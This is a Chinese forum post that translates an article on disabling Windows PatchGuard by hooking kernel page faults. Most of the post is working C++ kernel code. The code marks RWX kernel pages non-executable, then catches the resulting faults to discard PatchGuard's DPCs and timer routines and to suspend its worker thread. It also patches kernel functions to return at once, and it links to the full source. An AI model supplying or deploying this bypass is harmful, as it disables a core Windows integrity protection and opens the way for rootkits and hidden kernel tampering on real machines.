首页
社区
课程
招聘
[翻译] 通过 挂钩 Page Fault 击败 Patchguard
发表于: 2天前 1162

[翻译] 通过 挂钩 Page Fault 击败 Patchguard

2天前
1162

现在,已经有大量关于 Patchguard 的优秀研究,Tetrane 甚至发布了一份长达 61 页的白皮书,介绍了 Patchguard 的所有复杂之处。本文介绍的方法不同之处在于,它实际上并不依赖于 Patchguard 的工作方式,而是依赖于内存管理的非常明显的原则。这种方法的优势在于,它不是要击败 Patchguard 的特定版本,而是要击败它的整个概念。我承认我已经为此苦苦思索了一段时间,但我认为现在是时候与全世界分享它了,经过近 7 年的时间,在这期间我只需要更改一行代码就可以更新它(KiSwInterruptDispatch 


1: 鲜明对比


为了找到击败 Patchguard 的办法,我们只需要了解一件事:它在非图像页面上运行,并且可以动态地解密自身。

只要知道这一点,您就会明白这是怎么回事,因为 Windows 内核与任何其他现代操作系统一样,绝对讨厌Ring 0 中的 RWX 内存!毕竟,这是一场安全噩梦,如果您的驱动程序中有 RWX 部分,Microsoft 将不会对其进行签名。这是一个按我说的做,而不是按我做的做的例子,很有趣!


2:系统 VA 类型

在我们开始设计解决方案来解决这一矛盾之前,我们还应该了解我们心爱的操作系统的另一件事:它喜欢如何安排内存。让我们玩一个小游戏。继续启动 Process Hacker 或任何其他显示内核驱动程序映像库的工具,然后选择一个(非会话)驱动程序并检查其映像库。它是否以接近的内容开头0xfffff803

不可否认,这不是最好的派对技巧,但关键在于内核管理不同 PXI(PML4/PML5 索引)中的每种“类型”内存。您可以通过查看枚举来了解这一切是如何工作的_MI_SYSTEM_VA_TYPE,其中MiVisibleState有一个名为的简洁小数组,将上部 256 个 PXI 映射到特定类型的内存。这意味着当您分配页面时,即使每次启动时都会稍微SystemVaType随机化,它最终的位置也不是真正随机的。

为了让您了解每个内存区域,下面是枚举的片段:

namespace mi
{
    // [enum _MI_SYSTEM_VA_TYPE]
    //  Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
    //
    enum class system_va_type_t : int32_t       
    {                                           
        unused =                        0x0,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        session_space =                 0x1,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        process_space =                 0x2,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        boot_loaded =                   0x3,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        pfn_database =                  0x4,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        non_paged_pool =                0x5,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        paged_pool =                    0x6,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        special_pool_paged =            0x7,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        system_cache =                  0x8,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        system_ptes =                   0x9,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        hal =                           0xa,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        formerly_session_global_space = 0xb,      // Windows 11
        session_global_space =          0xb,      // Windows 10 v1607, Windows 10 v2004, Windows 10 v20H2
        driver_images =                 0xc,      // Windows 10 v1607, Windows 10 v2004, Windows 11, Windows 10 v20H2
        special_pool_non_paged =        0xd,      // Windows 10 v1607
        system_ptes_large =             0xd,      // Windows 10 v2004, Windows 11, Windows 10 v20H2
        kernel_stacks =                 0xe,      // Windows 10 v2004, Windows 11, Windows 10 v20H2
        //maximum_type =                0xe,      // Windows 10 v1607
        secure_non_paged_pool =         0xf,      // Windows 10 v2004, Windows 11, Windows 10 v20H2
        //system_ptes_large =           0xf,      // Windows 10 v1607
        kernel_shadow_stacks =          0x10,     // Windows 11
        maximum_type =                  0x10,     // Windows 10 v2004, Windows 10 v20H2
        kasan =                         0x11,     // Windows 11
        //maximum_type =                0x12,     // Windows 11
    };                                          
};

这意味着,如果我们排除用于实际内核映像的页面并过滤 RWX 内存,我们最终会得到一个非常小的分配子集,很可能是 Patchguard 或您系统上不幸存在的一些 rootkit。


3:如何枚举

scheduler::call_ipi( [ & ] ( auto barrier ) {
  barrier->up();

  // Determine the range we scan.
  //
  auto [range_min, range_max] = get_range( range_per_cpu );

  // Iterate all top level page table entires in kernel address space.
  //
  for ( size_t ipxe = 256; ipxe != 512; ipxe++ ) {
    // If ignored region, skip.
    //
    if ( mem::get_pxi_flags( ipxe ) & ignored_pxi_flags )
      continue;

    auto rec = [ & ] <auto N> ( auto&& self, uint64_t va, const_tag<N>, size_t imin, size_t imax )
    {
      auto pte = mem::get_pte( va, N );

      // Skip if not present.
      //
      if ( !pte->present )
        return;
      
      // If we did not reach the bottom level:
      //
      if constexpr ( N != 0 ) {
        // If directory:
        //
        if ( !pte->large_page ) {
          // Iterate all pt entries:
          //
          for ( size_t ipte = imin; ipte != imax; ipte++ )
            self( self, va | ( ipte << ( 12 + 9 * ( N - 1 ) ) ), const_tag<N - 1>{}, 0, 512 );
          return;
        }
        // If large page, skip if too large to be considered.
        //
        else if constexpr ( N > 1 ) {
          return;
        }
        // Fallthrough to page handling.
      }

      // Skip if not RWX.
      //
      if ( !pte->write || pte->execute_disable )
        return;

      // Skip if user-mode memory mapped to kernel.
      //
      if ( !is_kernel_va( mem::get_virtual_address( pte->page_frame_number << 12 ), true ) )
        return;

      // Disable execution.
      //
      atomic_bit_set( pte->flags, PT_ENTRY_64_EXECUTE_DISABLE_BIT );
    };
    rec( rec, mem::make_cannonical( ipxe << ( mem::va_bits - 9 ) ), const_tag<mem::page_table_depth - 1>{}, range_min, range_max );
  }

  // Flush the TLB and return.
  //
  barrier->down();
  ia32::flush_tlb();
} );

这段代码或多或少可以归结为:

  1. 启动 IPI,因为我们不想与其余操作系统竞争。
  2. 迭代所有内核页面(索引 0x100 到 0x1ff)。
  3. 跳过那些不能有 Patchguard 的,我建议跳过 SessionSpace、ProcessSpace、DriverImages、PagedPool 以及最重要的自引用索引,除非你想要三重错误。
  4. 跳过不可执行、禁止写入或不存在的页面。
  5. 继续并翻转 NX 位。

如果一切顺利,您将在两到三分钟内出现蓝屏,此时 Patchguard 将会自行解密并尝试运行。ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY好棒啊?

4: 如何修复 干掉 Patchguard 

我们现在需要在 #PF 上进行挂钩。请记住,不再有 Patchguard,所以我们的工作非常简单。您可以切换 IDT 并添加自己的页面错误处理程序、内联挂钩 MmAccessFault,无论您喜欢哪种方法,只要您快速地在我们的 IPI 之前完成即可。

最后一步,即使对 Patchguard 的工作原理一无所知,也非常简单。只需让它蓝屏几次,然后查看转储!您会注意到有几个 DPC,它们都以 XOR 指令和 PASSIVE_LEVEL 上的 worker 开始。我们将永远暂停 worker,而 DPC 只会返回给调用者,而不会执行任何操作。

差不多就是这样了。整个源代码基本上缩减到 200 行,而且不再有 Patchguard。

static constexpr bool pgc_debug = is_debug_build() && true;
static constexpr bool pgc_disable_timer_dispatch = true;
static constexpr bool pgc_disable_dpc_dispatch =   true;
static constexpr bool pgc_disable_context_dpc =    true;
static constexpr auto ignored_pxi_flags = mem::va_image | mem::va_session | mem::va_process | mem::va_self_ref | mem::va_paged;
inline static bool is_va_ignored( any_ptr virtual_address ) { return mem::lookup_va_flags( virtual_address ) & ignored_pxi_flags; }

// The ISR handling Kernel-mode NX faults:
bool on_knx_fault( void* virtual_address, nt::trapframe* tf ) {
  // If ignored region, skip.
  //
  if ( is_va_ignored( virtual_address ) )
    return false;

  // Get IRQL, display details.
  //
  auto* stack = ( void** ) ( tf->rsp & ~7ull );
  irql_t irql = ia32::get_effective_irql( tf->rflags );
  if constexpr ( pgc_debug ) {
    log( "KNX Caught @ %p\n", tf->rip );
    log( "RSP:  %p\n", tf->rsp );
    log( "RAX:  %p\n", tf->rax );
    log( "RCX:  %p\n", tf->rcx );
    log( "RDX:  %p\n", tf->rdx );
    log( "RBX:  %p\n", tf->rbx );
    log( "RBP:  %p\n", tf->rbp );
    log( "R8:   %p\n", tf->r8 );
    log( "R9:   %p\n", tf->r9 );
    log( "R10:  %p\n", tf->r10 );
    log( "R11:  %p\n", tf->r11 );
    log( "IRQL: %d\n", irql );
    for ( uint64_t p = tf->rip; p < ( tf->rip + 32 ); ) {
      if ( !mem::is_address_valid( p ) || !mem::is_address_valid( p + 15 ) ) {
        break;
      }
      auto ins = xed::decode64( ( void* ) p );
      if ( !ins ) break;
      log( "%p: %s\n", p, ins->to_string() );
      p += ins->length();
    }
  }

  // Dispatch level or IPI level PatchGuard components:
  //
  if ( irql >= DISPATCH_LEVEL ) {
    uint8_t* bytes = ( uint8_t* ) tf->rip;

    // KiDpcDispatch/CmpAppendDllSection clone called from dummy DPCs, decrypts and calls into pg context.
    //
    if ( pgc_disable_context_dpc && !memcmp( bytes, "\x2E\x48\x31", 3 ) ) {
      if ( !mem::is_cannonical( tf->rdx ) ) {
        if ( tf->rcx == tf->rip ) {
          if constexpr ( pgc_debug )
            log( "Discarded CmpAppendDllSection DPC: %llx\n", tf->rip );
          tf->rip = *( uint64_t* ) tf->rsp;
          tf->rsp += 8;
          return true;
        }
      }
    } 
    else if ( pgc_disable_dpc_dispatch && !memcmp( bytes, "\x48\x31", 2 ) ) {
      if ( !mem::is_cannonical( tf->rdx ) ) {
        if ( ( tf->rip - 0x70 ) <= tf->rcx && tf->rcx <= ( tf->rip + 0x70 ) ) {
          if constexpr ( pgc_debug )
            log( "Discarded KiDpcDispatch DPC: %llx\n", tf->rip );
          tf->rip = *( uint64_t* ) tf->rsp;
          tf->rsp += 8;
          return true;
        }
      }
    }

    // KiTimerDispatch clone called from KiExecuteAllDpcs, decrypts and calls into pg context.
    //
    if constexpr ( pgc_disable_timer_dispatch ) {
      for ( int i = 0; i < 0x20; i++ ) {
        // pushfq
        if ( bytes[ i + 0 ] == 0x48 && bytes[ i + 1 ] == 0x9C ) {
          for ( int j = i; j < 0x20; j++ ) {
            // sub rsp
            if ( bytes[ j + 0 ] == 0x48 && bytes[ j + 1 ] == 0x83 ) {
              if constexpr ( pgc_debug )
                log( "Discarded KiTimerDispatch: %llx\n", tf->rip );
              tf->rip = *( uint64_t* ) tf->rsp;
              tf->rsp += 8;
              return true;
            }
          }
        }
      }
    }
  } else if ( ke::get_eprocess() == ntpp::get_initial_system_process() ) {
    // Deferred work item?
    //
    uint64_t last_valid_vpn = 0;
    for ( int i = 0; i < 0x20; i++ ) {
      // Validate stack pointer.
      //
      auto* value_ptr = &stack[ i ];
      if ( auto vpn = uint64_t( value_ptr ) >> 12; vpn != last_valid_vpn ) {
        if ( !mem::is_address_valid( value_ptr ) ) {
          break;
        }
        last_valid_vpn = vpn;
      }

      // Check if it matches the value we expected.
      //
      void* value = *value_ptr;
      if ( value != &ke::delay_execution_thread && value != &ke::wait_for_multiple_objects && value != &ke::wait_for_single_object ) {
        continue;
      }

      // Align stack
      tf->rsp &= ~0xF;
      // Set the arguments on stack
      tf->rcx = ( uint64_t ) nt::mode_t::kernel_mode;
      tf->rdx = false;
      *( int64_t* ) ( tf->r8 = ( tf->rsp + 0x28 ) ) = -0x11F0231A4F3000;
      // Simulate call [KeDelayExecutionThread]
      tf->rsp -= 8;
      *( uint64_t* ) tf->rsp = tf->rip;
      tf->rip = ( uint64_t ) &ke::delay_execution_thread;
    
      // Lower IRQL and return.
      //
      if constexpr ( pgc_debug )
        log( "Suspended PatchGuard worker thread: %llx\n", ntpp::get_client_id().unique_thread );
      ia32::set_irql( APC_LEVEL );
      tf->rflags.interrupt_enable_flag = true;
      return true;
    }
  }

  // False positive, fix NX and continue.
  //
  auto [pte, _] = mem::lookup_pte( virtual_address );
  atomic_bit_reset( pte->flags, PT_ENTRY_64_EXECUTE_DISABLE_BIT );
  return true;
}


// Initializes the patchguard bypass.
//
void init() {
  // Fetch the number of processors and distribute the work.
  //
  static const uint16_t num_processors = ( uint16_t ) apic::number_of_processors();
  static const uint16_t range_per_cpu = 512 / num_processors;
  static constexpr auto get_range = [ ] ( uint16_t range_per_cpu ) -> std::pair<uint16_t, uint16_t> {
    // [ idx*R, (idx+1)*R ]
    uint16_t rmin = uint16_t( ia32::read_pcid() ) * range_per_cpu;
    uint16_t rmax = rmin + range_per_cpu;
    
    // If last range, round to max.
    if ( ( rmax + range_per_cpu ) >= 512 )
      rmax = 512;
    
    return { rmin, rmax };
  };
  
  // Add the patches and call the IPI.
  //
  if ( sdk::exists( ki::sw_interrupt_dispatch ) )
    hook::patch( &ki::sw_interrupt_dispatch, { 0xC3 } );
  if ( sdk::exists( ki::mca_deferred_recovery_service ) )
    hook::patch( &ki::mca_deferred_recovery_service, { 0xC3 } );
  scheduler::call_ipi( [ & ] ( auto barrier ) {
    // .... See above
  } );
}

望您能喜欢这篇文章和这个技巧。如果您有任何疑问,请随时下面的评论中提问。


https://github.com/can1357/selene/blob/master/selene/misc/nopg.cpp

6:缺陷部分

    如果调用 IPI 时 pg 已在运行 DPC 确实会崩溃,但由于它每 5 分钟运行约 2 毫秒,因此您到达该竞争窗口的机会非常小,约为 0.0006%。


    鉴于这项技术相当古老且未被积极使用,我们可以对其进行更多讨论。首先,枚举系统内存区域;PG 仅存在于其中两个区域中。然后,在 IPI         中,挂钩 #PF 并为这些区域设置 NX 属性。


    必须正确的判断PG返回地址,做出不同的处理。例如不能直接ret

    



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2天前 被nice667编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//